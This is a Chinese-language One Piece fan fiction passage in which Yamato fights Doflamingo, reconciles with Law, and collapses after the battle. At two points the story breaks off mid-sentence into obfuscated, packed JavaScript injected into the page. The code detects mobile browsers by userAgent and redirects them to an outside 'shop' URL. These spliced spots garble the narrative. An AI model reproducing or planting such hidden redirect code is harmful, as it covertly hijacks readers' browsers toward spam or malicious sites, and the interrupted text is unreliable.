多弗朗明哥意外之余不禁冷笑出声。“这又让我忍不住怀疑,你不可能和百兽海贼团毫无关系——太巧了,巧到也没有其他理由可解释——但既然他们不认为你是,那今后你就成为我的‘剑’吧!和我联手,就算四皇也不在话下,我会让你原原本本地绽放出全部价值!” 然而,“我果然还是更喜欢罗!”大和丝毫不犹豫也没给对手留任何颜面。 “我已经警告过你了,Joker,把我放出来的后果是什么,但愿你还没忘——” 离了趁手的武器,再想将力量毫无保留地发挥出来,确实很难如意。但将霸王色缠绕和已经用熟练的果实能力结合起来,挥出的拳脚至少也能起到一点应有作用。 在白发青年进一步爆发力量后,广场的战事无疑上升到白热化的阶段。 原本围绕上来打算充当“预备役”的人们或许想不到继草帽小子之后,又有人能与看起来比怪物还出离强大的七武海对轰出“天崩地裂”的场景。看来便化作人兽形态的年轻人本身也是“怪物”。 他们自然不知,此刻正尽力将多弗朗明哥一点点向后逼退的“怪物”已处在崩塌的临界点,靠着紧咬牙关、与自身不断抗争和突破,才硬撑出这一丈之地的“小胜”。 确实,他现在能稍微夺回一城一池,也的确从对手处讨了些便宜,看似实现了最初想替船长“出气”的目标。但在将霸气用到当前最好程度的同时,无法形容之剧痛也像电流一样正在撕裂他的心肺。 ——路飞如果再不回来,他可能就要再次上演交战中途倒下的情形了。 多弗朗明哥虽然目前且战且退,但显然还没有使用全力,大概要保留一部分等待可预见的路飞回归后的大战——当然也不排除敌人经历之前的消耗,短时间也无法再用全力——敌人见过大和突然倒下的样子,或许也在等:等大和再次“病发”的机会。 等待中,或许应对起来果真难免吃力,无论出于战术性扰乱的目的,还是多弗朗明哥在此种情况下还没放弃对未来的“布局”,对峙中大和又再次听到对手发话: “大和,无论你到底出于什么理由对罗着迷,你应该知道和他永远都不是一类人。他和我才是一类人,但他没有我的野心。你足够强,就应当放眼更大的野心。罗能给你什么?他不过是个十三年前就已经放弃自己的‘废物’,你难道还没想通?从踏进我的地盘一开始,他就没打算活着走出去。 “一个真正的强者不会轻易放弃自己的性命,没有记忆的你很难明白:这个世界的残酷是没有底线的! “你不是说过不了解我吗?跟着我,会有机会慢慢让你知道我的经历。我会让你今后的日子变得比之前更为精彩,远比你现在的‘小打小闹’声势浩大。自然我也要向你展示这个世界真正的样貌是什么—— “绝不是罗给你搭建的一方小小‘温室’,或者是他童年记忆里的一小片阴影或救赎——你不懂,没有真正遭遇过天堂地狱的你不懂! “这个世界应该被重塑,而我只需再向前几步,就可以定义重生后的世界应该是什么样了!” “住口!多弗朗明哥!”冰暴再次上演,却不是出于敌人的攻击所致。冰棱一点点裂作一片片碎屑,而这次竟也不慎划伤了覆着皮毛的脸,细小的伤口刚好出现在年轻人太阳穴旁边。 “别再对我……讲那些让人费解的虚话,也不许你再随便污蔑我爱的人!罗如果真有问题,我会自己‘教育’他。但不管你怎么看待世界、怎么看待他,那都只是你的……看法! “不是只有你的愿望才能称作野心,也不是你认为的价值才算是价值。这个世界上任何人都有资格定义他和他眼中的世界,而你只是想把自己凌驾于所有人之上——所以我才讨厌你!——但我更讨厌的还是你这副固执己见的‘大叔’做派。 “不懂的人是你才对吧?我不了解你,这是事实,但我根本不在乎你有什么经历,就像我也不在乎自己过去是谁一样!在我看来,就算没有过去,我还是知道自己该往哪里走,该跟着谁。你有你的过去,可你活得连个人都不算,照我猜你所谓的目的只怕也虚无得很——像把自身都变成‘手段’的你,懂什么才是真正的‘目的’? “在我看来,是什么人才不重要呢,真正重要的应该是想成为什么样的人吧! “罗他……他一定也是要成为某种了不起的人,才摆脱你们这群恶棍,我相信他终有一天会成为那样的人——因为他承载的是希望和爱!柯拉先生可是将希望都交给他,让他活下来的。罗才不会放弃自己!!!” 或许为了侧面佐证他说这句话时喊得够响亮,冰晶终于承受不了彼此的重压,如雪崩般轰然倒塌。 四面的人们未免被伤及,立刻四散逃命,竟未注意背后挡在多弗朗明哥面前的“怪物”也在同时加入了这场“雪崩”。洁白的皮毛像风中的蒲公英一样褪去,转眼露出女性特征明显的芙蓉秀面、云雾长发、玉立长身。 ——难道说代替路飞和多弗朗明哥打了这么一会的人,居然是“女人”? 等人们跑出一段,再回头看时,只见战场上又出现了其他身影,替代了已无法维持能力、在恢复人形后就欲倒下的人。 “做得好,大和!”头戴草帽之人一落地便进入状态,即刻接管了为另一人所争取到的战局。“从这里开始就交给我了——明哥,彻底做个了断吧!!” 千算万算,没想到这波“接力”中居然还掺杂了第三人的能力。 “罗……”连番地被三个海贼耍得团团转,三者的能力还各有各的难缠特点——多弗朗明哥快要按不住胸口的烦躁,尤其是刚被其中一人“回敬”一通,还没来得及逐一拆解对方漏洞百出的发言。 “混账小鬼,说谁‘大叔做派’。论固执己见,你也算一号吧!大和——” 面对已经重回战场后蓄势待发的草帽路飞,多弗朗明哥自然不敢轻视,但这股气他不发出来也实在憋屈。“等我宰了草帽,再亲手让你看看到底谁更有资格!眼下你就抓紧时间跟那个废物小子最后温存一阵也罢。” 以普通人的视野,一时还未找到被多弗朗明哥“跳脚”咒骂的人消失后去了哪,就像他们也不知道草帽路飞是什么时候、从哪个方向突然冒出来。 但在找到谜底之前,人们的注意力就已经被广场中最后的决战吸引。 - 不起眼的断壁残垣旁,青年海贼调用力量将同盟送入战场、顺便换回船员后,抬起的手不得以又放下。 打量倒在手边满身满面也没几处完整好皮的大和,罗竟不懂该如何轻抚战场久别的他。 一时不知从何开始说起。差点双双陷入沉默。 “……伤得也太惨了。”外科医生还是从专业的角度做出了客观评价。 大和从意识到被熟知的能力空间瞬移后,就凭借直觉将视野锁定在咫尺近旁的人身上。此时定定地看了罗一会,方平静地回应:“手臂算是成功接上了么?” 随着他的提问,罗也看了眼在王宫顶上的战斗中曾被截断的右臂——眼下已经受小人族救治后缝合、包扎了起来,只不过是用力不慎时伤口又稍有开裂。 “算是吧。血液已经恢复流通,接下来只需要多花一些时间让骨肉彻底愈合生长。” “这次不是骗我吧?”大和紧接着的问题让听者微微一愣。 罗还是照实回答:“不是。” 白发人俏丽的脸庞这才露出一丝放松的笑意。 “那就好。” 远处战斗还在声势浩大地进行,按本意,罗应该是要专心看完这场决战的。 可当下他还是情不自禁地分散了注意力。 尤其在手边躺着令他无法不在意的人、尤其经历这一天之内诸多思考与新的认知——或许还有——尤其在意外旁观刚刚近十分钟的激烈战事,且听了些许令他关注的对话。 “虽然应该重新找个时间再好好谈——如果有机会,之后我会尽可能弥补以获得你的原谅——但眼下还是想先对你道个歉,大和。”有意无意地,青年船长的语气郑重而愧疚。 “抱歉进入德雷斯罗萨之前,没有及时对你讲我真实的打算:我的确从昨晚就想改变原有计划 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13725374|133034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。我连你和草帽一伙一起‘骗’了。” 跟着他已有两年半之久的船员就静静躺在地上,琥珀似的大眼睛长时间暂未眨动。 过了一会,在对方终于眨眼却没有吭声的情况下,罗又再次开口。 “确实,我事前也没料到多弗朗明哥曾是天龙人,从后来听到的情报来看,他应该是被迫失去天龙人身份,但还和玛丽乔亚那帮人有密切的联系,并且握有那帮人的把柄,才串通世界政府摆了我们一道。 “——不过就算他没搞这一出,我原也想过在格林比特归还人质时,如果见到他定要和他算一算‘旧账’……至少是替十三年前的柯拉先生,把本应该射向多弗朗明哥的‘子弹’补上。” 躺在那里的男人还是不答声,只有眼眸静静开合,证明他一息尚存。 饶是罗一向觉得对方单纯好懂,一时间居然也猜不到他的意思。 无奈,想了想,只好将更早先遗留的问题也和盘托出:“我骗你的事还不止这一次。更早在两年多以前,当时决定暂缓进入新世界时,我本就想问问你愿不愿意和我一起行动,因为那时候综合来看你最适合同我搭档,能力可互补,实力能跟得上,可能‘相性’也……咳…… “但因为我必须得确保你自愿跟我走——就像我说的,这可不是简简单单的行动,弄不好就会有去无回,并且过程也会很枯燥无趣——而且基本算作我个人的‘私事’,和红心团大伙本身无关。如果你没想好,或者在这个过程中随时可能退出的话,我会很被动。 “……所以故意不理你、刁难你。可能也有点激你的意思…… ——但即便如此,他也不想把船员真地拖进和多弗朗明哥的死战中,所以才故意支开对方,一次又一次。不过这样的话他就不想再解释了,光是想想就觉得听起来像无耻的“狡辩”。 看着依旧不发一言的人,也不知对方是因为太累了想说话、还是已经生气了不想理他,罗有些沉不住气。 越是看见那张秀丽的脸上平静的表情,他就越发有些慌张。不知不觉,竟为曾以为比自己简单、“好蒙”之人的不动声色感到害怕。 “如果你……如果你为此记恨我也很正常,或许多弗朗明哥也没说错,算是我‘利用’了你的感情吧。就算你不肯原谅我也没关系,想走,或者……想分手,就算我活该……” “和这些都没关系哦。”沉默良久的人听到这里,总算启唇,顺便打断船长开始变得不连贯的话——如果不是出现幻觉,可能感概最后两句都语气不稳了吧——大和接着说: “我不在乎罗骗我,反正你也不会故意害我。如果你觉得有必要的情形,‘利用’我也没什么关系,反正我除了打杂之外,其他的什么也不会——有什么值得利用的地方就利用吧——船长觉得有利用的价值就行。” “这叫什么话……”轻柔语调说出来的话好像放松了些许,但又未完全安定。 于是作为船员干脆将话摊开了讲:“无论船长想往哪里去,我都会愿意跟着,所以今后请依然‘利用’我吧,只要没有拒绝就都是我心甘情愿。但我真正在意的事其实是性命攸关的事,船长。准确说,是你的生命。” 他郑重称呼“船长”的方式莫名加重了罗的愧疚感,还不只因为前面承认的“蒙骗”的事而惭愧。 便听大和接着道:“船长的任何生死攸关的事情都不能算‘私事’哦,我认为以罗的脑子会清楚的,但事实上看来不是。 “——如果连船长都死掉了,那么海贼团还有什么继续下去的理由?同伴们确实应该无条件地相信船长的判断,两年前你说的没错,所以我是认可的。 “但是大家信任你的前提是为了和你继续冒险,如果你不在了,信任就算彻底落空;大家把命都交给你,也不是为了让你保护我们不受一丁点性命威胁,而是希望看到船长你领着整艘船航行,一直走到大海尽头。 “如果能看到船长帅气地在大海上和其他厉害的大家伙们旗鼓相当,就算再默默无闻的同伴也会深感自豪;遇到危险的时候,哪怕你不出手,只要知道你在,我们心里是有着落的——更何况这样一来大家努力变强才显得更有价值。 “船长:大海很自由,但也很凄凉。如果不是因为有你在,大家坚持不下来;正是因为有船长,大家才知道每天醒来之后要往哪里去。 “你就是我们聚在一起的最大理由,极地潜水号也因为你才算厉害的海贼船。你活着比什么都重要。你才是我们死而无憾的意义。 “——我的意思,船长可以明白吗?” 无言地听到现在,足有至少两个理由让罗震撼地不知该如何感慨。 一方面是大和居然不再磕磕绊绊就能发表这一番义正词严; 另一方面,是他居然真地“沦落”到被杂务船员教育的地步。 但事实上如果不是大和亲口告诉他这些,他恐怕还迟迟不能醒悟。 “啊,我明白你的意思……”带着震撼与难以掩饰的动容,有着星灰色眼眸的青年不禁想要寻找此刻应比他还要坚毅且温柔的目光,但羞愧感又使他忽然不敢直视。“对不起,我居然忽视了同伴们的感受……” 纠结使他思绪纷纷,难得没怎么过脑子就承认:“或许多弗朗明哥有一部分判断是对的,某个时间点我动过放弃的念头……” “不,你没有——”不再结巴的言语变得强势和有力,琥珀色的瞳有着狼眼的深邃专注,表情也有不假辞色的严厉。“多弗朗明哥的判断和我无关,他到底为什么那么说只有他自己清楚。但从结果来讲,我才是正确的。” ——‘罗才不会放弃自己!’大和刚刚这么大声说。便是身在远处的人也听的一清二楚。 彼时听见,便觉察出船员话里的分量,等到大和毫无保留地谈了这么些,罗又再次体会到了一种熟悉的沉重感。 也很像他明白柯拉先生的爱时感受到的温暖与沉重。 “罗,你一直都是我们的希望。”希望是使人重新站起来的力量,但对于背负希望的人——就像此刻正在远处与德雷斯罗萨现任国王决战到底的男人一样——是沉重到会使人筋疲力尽的。 可即便如此,大和还是要把重任“强加”在他本该拥抱和安慰的人身上。“无论对于罗西南迪先生、对于红心团的同伴而言,你都是希望。船长,我希望你能珍重自己,从今以后也能不到最后一刻决不放弃。” 顿了顿,他终究不忍心地补充道:“如果太沉重的话,大不了就‘利用’我帮你一起负担吧。 “你去哪,我永远都会跟去,”他再次强调,“在此前提下,如果你真地认为我们的关系太复杂是个问题,那么分手不做恋人也可以;只要是船长决定好的,我都接受。” 如果说船员前面发自肺腑的话使罗无比感动,甚至有热泪盈眶之感,等听到最后,才体会到什么叫“一落千丈”。 星辰灰的双眼即刻如蒙冰霜。“打杂的,有胆你就再说一遍?” 58.piece 56-新生之人与新生的国度 船长又生气了。 当然,路飞和多弗朗明哥干架的动静着实令人很难不注意,但船长现在不看他,好像不光是因为要观看战局。 大和一动也不能动地躺在地上,独自露出无可奈何的表情。 ——其实他也有点生气。 明明先提出在同伴和恋人关系之间二选一的人,就是罗自己。大和虽然很不愿意,但也是认真考虑过对方的想法可能有道理,才痛下决心提议。 要说不高兴,他也还不高兴呢!但是比起只保留恋人的关系,却不能实际守在船长身边,他当然要争取到实实在在能每天看到罗的机会了!这不是当然的嘛?! 那现在罗在跟他生什么气?一天之内已经连续把他往外推了多少次,难不成还真想把他赶下船哇? ——不成。他绝不松口! 同一时间,对于强行让自己把视线转向战局的罗来说,其实很难不将注意力分散给就躺在手边的“庞然活物”。 但他正在气头上,实在不想关注某人现在是何状态,除非尽快向他“修正错误”。 居然敢说“不做恋人也可以”——狗脑子彻底坏了么?还是故意揣着明白装糊涂,想“惩罚”身为船长和恋人的他之前诸多做的不对之处? 该不会在他不知道的情况下移情别恋了吧? ——如果被他知道“新欢”是谁,第一时间大卸八块挂上德雷斯罗萨城门示众。 “喂,限你在大战结局之前想好怎么解释,打杂的。” 躺在地上的大和一听就又瘪起眉头:解释啥?他又没做错什么,要解释什么? 一面似乎是极其幼稚地相互赌气,一面实际也是被远处轰轰烈烈的生死决斗吸引,一时不再开口。 直至足以造成地动山摇的重拳竟将空中的多弗朗明哥一击落入地底,随之整座岛屿似乎都屏住呼吸等待结果。当上空的线状鸟笼消失,人声鼎沸了。 草帽路飞再次创造奇迹、德雷斯罗萨已经自由。 罗用尽最后一丝力气打开“手术室”空间,将从空中下坠的同盟接到地面上来,幸得后者看上去只是力竭当场昏睡过去了,罗才松了口气。 远远地传来人群的欢呼,也不乏痛哭——当然是饱含心酸的喜极而泣——譬如就从近处赶来的受尽苦难的旧王室两代公主,甫一确认解放他们的“英雄”尚有气息,便围绕在路飞身边泪流不止。 瞧着她们的样子,观者想了想,还是“不记仇”地扭头寻找能够分享此刻心境的另一人。 目光不期而遇,大和看见船长似乎微微笑了一下。奇怪都已经狼狈到这个地步,船长看起来还是很漂亮。 ——罢了,要他解释就解释吧。船长想听什么他就说什么。 反正今后能任性的机会也不多了;船长只对他一个人任性就好。 或许他灼灼的目光实在“抓”着人不放,当着其他人在旁,罗不知他要说什么或是在想什么,也就故作凶狠地瞪了他一眼。 ——哪想这么一来,躺在地上的人反倒笑了。这是啥人,不给他‘好脸色’才高兴么? 折腾一天,斜阳总算穿过云霞与王国倒塌扬起的烟尘,落在劫后余生的人身上。罗筋疲力尽地靠在断墙上,横竖也没法无视,干脆开口没什么气力道:“看什么呢?” 平躺在地上的白发青年更是像废了好大的力气才举起一只手臂,“船长,就算要‘分手’我还是想跟着你,所以别丢下我嘛。” 好像撒娇的口吻用原本就柔和的嗓音说出来,这倒难得一听,罗的心一软差点就松口了,但他还是不免注意到对方的话离他最想听的还有些距离。 借着横竖也无多余的力气接住那只手,他叹了口气,闭上眼,下一秒亦摊倒在地:“我考虑考虑吧。”——没有直接拒绝就很给面子了。 是的,以这头牡“豹子”的傲娇程度,能松口到这个份上已经不容易了。大和咧嘴一笑,暗自替他的船长感慨。他就当罗已经“原谅”他了,(虽说他还是不清楚自己哪里错了——这句话不能告诉罗。)后面的事就等恢复体力之后,他再缠着罗答应吧。 看着罗累到好像随时就能像不远处的路飞那样睡过去的样子,大和亦理解:船长挺到这个地步,实在很努力呢。 很快第一批赶来探望“英雄”路飞的人们找到了这里,主要是草帽海贼团的成员,一同参战的海贼,以及前来确认和主动提出为海贼们提供庇护所的独腿士兵居鲁士。 “城里还有海军,虽然暂时没有什么动静,但难保会不会突然发难。保险起见,你们还是先藏到我家吧。我保存了些伤药、补给之类的,应该够用。” 居鲁士的提议算是给这群人解了燃眉之急,何况他们也没什么好挑的,不少挂了彩的海贼都需要及时处理,几位重伤更是需要充分的休息。 罗大致评估了一下形势和众人伤势的情况,当即答应:“拜托了,士兵当家的。” 医护担架什么的就不用想了,那都太奢侈。自有草帽海贼团的同伴弗兰奇扛起呼呼大睡的路飞,其他人则尽可能相互搀扶。 大和注意到有个外表实属过分俊美的家伙好像很自然地抱起罗,眉头一跳,“‘白马’,你……”他又有点想结巴了。 虽然明知没必要多想,何况他自己躺在地上也不可能立刻满血站起来扛走自家船长,但是看到外型惹眼的男人直接走向罗,他就下意识心里不舒服。 “嗯?没见过的‘女人’,你认得我,莫非是我的……”“崇拜者”一词还没说出来,被卡文迪许刚横抱起来的海贼就直接打破了他的脑补幻想。 “他是我的船员。”罗特地强调了带有性别指意的人称,“他刚才替草帽当家的打了十分钟。” “哦,那个幻兽种果实能力者……”形象夸张华丽的男海贼点了点头,回头又仔仔细细打量了一番,“女人么……” ——好,算他上一句白说。 罗不厌其烦地替自家船员修正着其他人的看法:“是男人。” “异装癖?”卡文迪许看见地上的人不光长得像女人,穿着打扮也明显女性化。 “……打杂的,你能不能快点把见鬼的裙子换了?”罗意识到问题所在,费力地回头又看了眼船员的挂脖性感短裙和缠在大长腿上的网袜。 有一说一,不难看,但是“碍眼”。 “我要是知道怎么换,早就换了!”正为刚出现的“嫉妒”心理烦恼的人立刻回嘴道。 有人在这时替大和解答了问题:“锦卫门的能力创造的衣服,只需要全部脱掉就自然换回来了。”闻言,地面上的人不禁抬头一瞧:说话的绿发剑士就停在旁边。 “啊,这么简单吗?”大和扬起眉毛,“早说哇。” “还能起来吗?”索隆垂眼又对地上的人问到。 “我试试吧。可以拉我一把吗?” 大和试着朝同盟的方向伸了伸手,这次被一把接住,手掌相互一攥。 兴许剑士的力气了得,转眼大和就从地上被拽了起来,但紧跟着立马又软倒——显然低估了体力消耗的情况——被旁人一臂扶在怀里,长发散落。 将这一幕收进眼底,罗只觉眼眶一跳。接着看索隆如何该换策略干脆将大和一条手臂越过肩膀,圈住比自己高出一头之人的腰身,总算站定。 白发男人随即眉目柔和地微微一笑,低头似乎说了什么,大约是感谢的话,但也可能是旁观者的错觉——显得话太多了——然后只见绿发海贼冲那张俊俏的脸发了一会呆,才点点头,扶着后者出发。 罗看完这一切再回头时,只觉得本来已经累的半死,现在也气了个半死。“你的表情像要杀人。”——正在搬运他的卡文迪许如是评价道。 确实,红心海贼团的船长正在考虑等有力气之后要不要那么做。 - 然而,事实上大和在被同盟剑士搀扶起来的同时,才明白自己到底已经体力耗尽到了何种程度。 撕心裂肺的痛觉只有一瞬间,但也足以令他预感这回身体的反噬只怕要真正给他好看。刹那的剧痛可能只是狂风骤雨前的电闪雷鸣,又或许已经连警告都算不上。 好在身体再次倒下的时候,扶着他的索隆反应迅速接住了他。但直觉上的不妙、和心脏不自然的跳动——那就像跑过漫长旅程之人奔向目的地之前最后几步有力的步伐,强壮、有力、但依然沉重,力量告竭——令他电光火石间闪过诸多想法,他怀疑这是不是传说中将死之人的“走马灯”。 他才想起来此前拼命爆发力量对付敌人的时候,已经感受过体内好像五脏六 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13769542|133034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 腑都在撕裂的疼痛了。 本以为会是内伤,但奇怪的是身体并没有进一步的诸如呕血、恶心之类的自然反应。 除了疼痛就是不能动弹,如果说前者是提醒他身体无法承受力量,后者似乎更像机体本能阻止他继续使用力量并“自主修复”的表现。 可或许此前拼过头了,主观意志上克服了疼痛继续发力,看来也不是什么好事情。身体已经超出临界值太远,也早已错过“修复”的最佳时机。 也就在这时,大和迟迟觉察到身体诸多不自然的地方。原以为只是身体素质跟不上能力的强度,可仔细想想拥有超出体能的能力似乎本来就不自然,而机体多次在超限后也没有进一步的伤势,甚至于身为医生的罗也感叹过他的伤势恢复能力比普通人更强。 可事实上大和并不了解自己的身体,也不了解自己到底有多少能力,而机体和能力这两者就像两个分别独立存在的事物,他仿佛只是刚好栖息在上的灵魂。 奇怪…… 但可能已经没有时间探究了,没有时间却很想做的事情还有很多,一时很难将所有想法都转换为理智的语言使自己理解,更别提用说话表达出来。 可转眼他还是决定就近对旁人开口,“索隆,虽然很不好意思,但我还有一事相求:如果我倒下再也站不起来,可不可以请你们务必把罗送到我们的同伴身边。” 剑士看着他,表情愕然。可他虽有心苦笑,实际并无玩笑的意思,大约索隆注意到他的眼神了,稍作停顿之后也就点点头。 “——路飞估计会答应,但你最好还是亲自护送你的船长。再坚持一下,马上就能到士兵家里疗伤。” 大和拖着步子,在同盟帮助下行进。听着耳边传来低沉稳定的话语,缓慢眨动了一下眼睛。视野似乎正发生细微的晃动,前方怀抱着他的船长前行的背影似乎也变得不清晰,他想再试图找一找熟悉的白底黑斑点绒帽,却一下子没有成功,只得暂时垂下眼帘。 “我知道……”每呼出一口气,空气好像就离他远了一分,离开他便不再回来。冷汗冒出来,汗珠簌簌而下。 “你怎么虚弱成这样?”大约注意到他短时间内显而易见的变化,索隆在耳边问他,“要不要停下来先缓一缓?” “不……”脚下已经出现了青草和橙红色的向阳花,大和视线时而清晰时而模糊,但隐约能猜到离居鲁士之前描述的目的地不远了,“继续前进……” 他本想凭意志再多坚持一会,但这一次身体好像不再打算听他商量,脚下的泥土也变得好像流沙那样缺少支撑力。 终于膝盖也绵软下去,手臂再也无力攀附在旁人肩膀上。“抓紧,不然我也抱你吧……等等,大和?喂!” 人毕竟像柳条一样滑下去,索隆急忙抓住他的臂膀也只是延缓了滑落的趋势,夕阳下和红色向阳花近色的眼眸似乎只是默默地看了他一眼,旋即眸光倏地散去,无神的瞳已掩在眼帘后方。 ——无比突然,也算历经风雨后见识过许多死亡场景的海贼剑士立刻明白:从他手里倒下去的人已经死了。 “有没有搞错……喂!大和,你刚才打架的时候不是还挺威风的?醒醒啊!战争刚结束哇!” “怎么了?”四周被惊动的同行者纷纷望过来。 看似轻松地扛着自家船长的弗兰奇推开墨镜朝这头看了一眼——老实说他也只剩不多的力气,只不过不会承认就是。“索隆,你不会已经连那么个姑娘一样轻的家伙都背不动了吧?不行就交给我来。” “不是,”很可能是草帽团实力仅次于船长的青年抬起头,表情透露难得一见的慌张,“这家伙……大和他刚刚突然就这么倒下去,没了……” “啥?什么叫‘没了’?”可能任何人都无法理解索隆刚才亲眼所见的情形,自然也就不会明白他在说什么。 不远处传来一阵慌乱的动静,“海贼贵公子”、“白马”卡文迪许发出轻喝,但还是未能阻止重伤之人从臂弯挣脱。 那人原本已无力行动,却在猛然意识到发生了什么后手脚并用地跑向后方,赶到索隆面前跪倒在花田里。 夕阳照在向阳花与唯一死在战后的海贼身上,他穿着的橙红色带亮片衣裳好像也成了花田的一部分,只不过无法和花一样追着太阳。 59.piece 57-新生之人与大雨中的洗礼 开什么玩笑…… ——鼻下已经探不到呼吸,颈动脉几乎没有跳动。 罗不敢也不肯花时间去翻开眼皮查看瞳孔。在他的想象中,如睡着了一样轻阖的双眼下,仍该如美人蕉一样在阳光下灿烂、或如琥珀般在晦暗中闪烁。 他重复着抢救的动作,逼自己用能力释放更多电流。他知道掌握医术甚至手术果实的能力,就是为了再也不让任何重要的人从眼前离去。他要冷静,强忍恐慌。 如果这样还不行,他只有在尽力张开手术空间后举起长刀。“喂,你要干什么?”头顶有人问他。 “‘开胸心脏按压’。闭嘴,别干扰我!”不管对方是谁,他都警告到。全心将注意力放在“患者”身上,实施能够想到的最后手段—— “打杂的,你不是擅长开玩笑的人,而且这不好笑……” 多亏有手术果实的能力,即便在野外打开胸腔不需任何顾虑,没有鲜血,不用担心病菌,只有他能摸到那颗过分温暖的心脏——那么小,一只手可握,居然能支撑人类的一整块机体、数十年以上的生命,乃至包容世间所有的不平与不公,温柔对待路过的所有生灵。 躺在这里的是个“怪人”。长得一副美貌的女性外表,却莫名要坚称自己是个“臭”男人;分明也是受伤会疼、难过会哭的血肉之躯,却从他们相识之初就总是愿将善良与多余的力量用在他人身上;本有机会选择平静甚至体面的生活,但偏要放弃了“贵人”的赏识,最终登上漂泊不定的海贼船…… ——是他的错么?他不该从大律师的身边抢走这个本该成为正义代言的人?不该诱使他和自己一起踏上复仇的路? 罗控制着力道,一下、一下,手掌中脆弱而柔软的器官令他恐惧又留恋。 空间正在向内收缩,快要支撑不住了,他不能把手就这么留在切开的胸腔里。 力量其实早已告罄,能坚持到现在还都是凭着意志:他必须救这个男人。 再也无法控制的酸软和颤抖让罗不得不收回手,胸腔迅速合拢,空间像肥皂泡一样转瞬消失。带着手掌上残留的余温,他在严肃而惊恐地等待最后的效果。 一秒、两秒、三秒……十秒。 时间拖得够久了。 生命中似乎从未离开过他的绝望感又抬起冰冷诱人的面目。 “死的怎么会是你呢……”他喃喃自语,按住太阳穴,头痛一样地闭着眼睛怀疑这一切是如何发生的。“不会的……我带你来不是为了让你死在这的……何况战斗已经结束了……” 就在大战结束前他还“勒令”过这个人想好怎么对他解释——是的,大和还欠他一个解释,怎么可能说走就走了? 也就在不久之前对方还难得撒娇地说“别丢下他”。其实罗已经听明白了,可能大和宁愿分手也不愿分别;是他之前在王宫里慌不择言说的“要么分手、要么下船”吓到对方了。 “……是我错了,你什么都没做错。”真正应该解释的人是他,“那不是我真正要说的……” 夜晚的海浪声中,罗试问过对方如果没了他要怎么办,得到的答案是只能“愤而跳海”;也是同一个人,今日曾对他说,船长,“大海很凄凉”。 啊,他已经明白了,全部都明白。 “可是,可是……” ——真正失去对方支撑不下来的人其实是他呀!习惯了对方的爱和给予,要他怎么再独自忍受伟大航道无处不在的苦咸海风。 夕阳正在它消失前最缱绻艳丽的时刻,躺在花丛中的人白皙的肌肤正在泪光中变得透明,好像要融进阳光里同黄昏一起消失。 是连跪着支撑自己的力气也提不起来,也是痛恨自己软弱无力的样子被除了唯一他能忍受的人之外任何人看到,青年终于匍匐在地。伏在唯一能听他哀求的对象耳边,虔诚呢喃他不要。神啊,他不要这种结束; 难道他的人生不配有希望吗?这个说着爱会驱散恐惧的人,手持光明走进黑暗里的人,字面意义上沉默地支撑了他数百个日夜的人——才是他紧攥在手里的、拴在身上的希望! 我爱你,打杂的,我爱你,你听见了吗? 他对自己的心说过,对神说过,甚至对敌人也说过,现在是对本尊说; 所有人都听到了,你能听到吗?听到的话,这么温柔的你怎么会不回答? “——啊啊啊——神啊!如果没了你,你让我怎么坚持下去啊!?——” - 好像被撕裂了的嗓门响彻花田与黄昏。 索隆还没有从那好好的活人从自己肩膀滑落便死了的震惊里缓过来,几分钟后就被另一人的崩溃震撼。 他一下子明白了大和交代的那句话真正的分量。无论是假设自己倒下再也站不起来,还是嘱托务必将特拉法尔加-罗送回同伴身边——不管哪一件事都不是随口说说而已。 在不同人眼中,生命与死亡未必统统是最重大的命题,但一定是之一。 无论作为倒下的本人,当面失去珍爱之人的旁人,抑或旁观他人失去所爱的第三人——这些注定是人一生中都会经历或扮演的身份,只不过次序上稍有不同——上述三种身份他在不同情况也都经历或假想过;考虑到他现在还能作为独立思考的个体,第一种类型自然只在假想中出现过。 但实话说他只假想过自己会为何死、如何会死,没想过死后会造成什么、或给其他人造成什么。 这是当然的,毕竟人死了就是死了,考虑身后会如何其实对自身没有太大的意义。 可奇怪的是,亲眼目睹白发青年的死亡,让索隆头一次设身处地的将自己代入了死者身份,看待“死后”的世界。 死后的世界并无彼岸,死亡就像一滴水蒸发了,而此岸依然是此岸。 此岸上,生前最后牵挂的人果真会痛彻心扉,如逝者所料,若没有其他值得信任之人看顾,将极有可能心神俱裂后再也无法振作; 除此之外,青草是青草,花是花,夕阳正常落下山头,鸟兽归巢、人归家。 这可能就解释了为什么人活着时希望被更多人记住吧?或许不想死后的世界实际真地如此清冷漠然,或许生时的灿烂也要靠死时引发的声响佐证。 但是被人记住本身只是一种利己的念头,无论出于真正用心对待的人、还是假意骗取爱戴的人,最后都是为死者伤心欲绝的人。 那么若非心不够硬又怎么会舍得别人为自己平白垂泪? 就像活着时要为人生赋予足够分量的价值一样,死亡也总得有个充分合理的缘由——或是夙愿得偿,或是价值圆满,或是寿终正寝,哪怕是重病无以为继——才称得上义。轻飘飘地死了有什么意思?将牵挂的人独留身后又有什么意思? 是个男人,就该亲自陪最重要的人再走一程,无论距离是长是短,总归守护对方到能坦然接受之时、或是交到能放心托付之处,再撒手人寰。 “……” 西方的最后一抹余光乍亮,微风拂过花田,草叶中传出无比轻柔的声响,便如海浪一日日轻抚沙滩那般寻常——索隆确信自己没有听错:那是时常被人们活着时轻视了的最普通也是最重要的声音——呼吸。 实在没有其他语言能表意此刻的心情,他忍不住咒骂了一声。 跪在那人身侧的男人也在同时抬起头来,看来和他一样发现了动静。 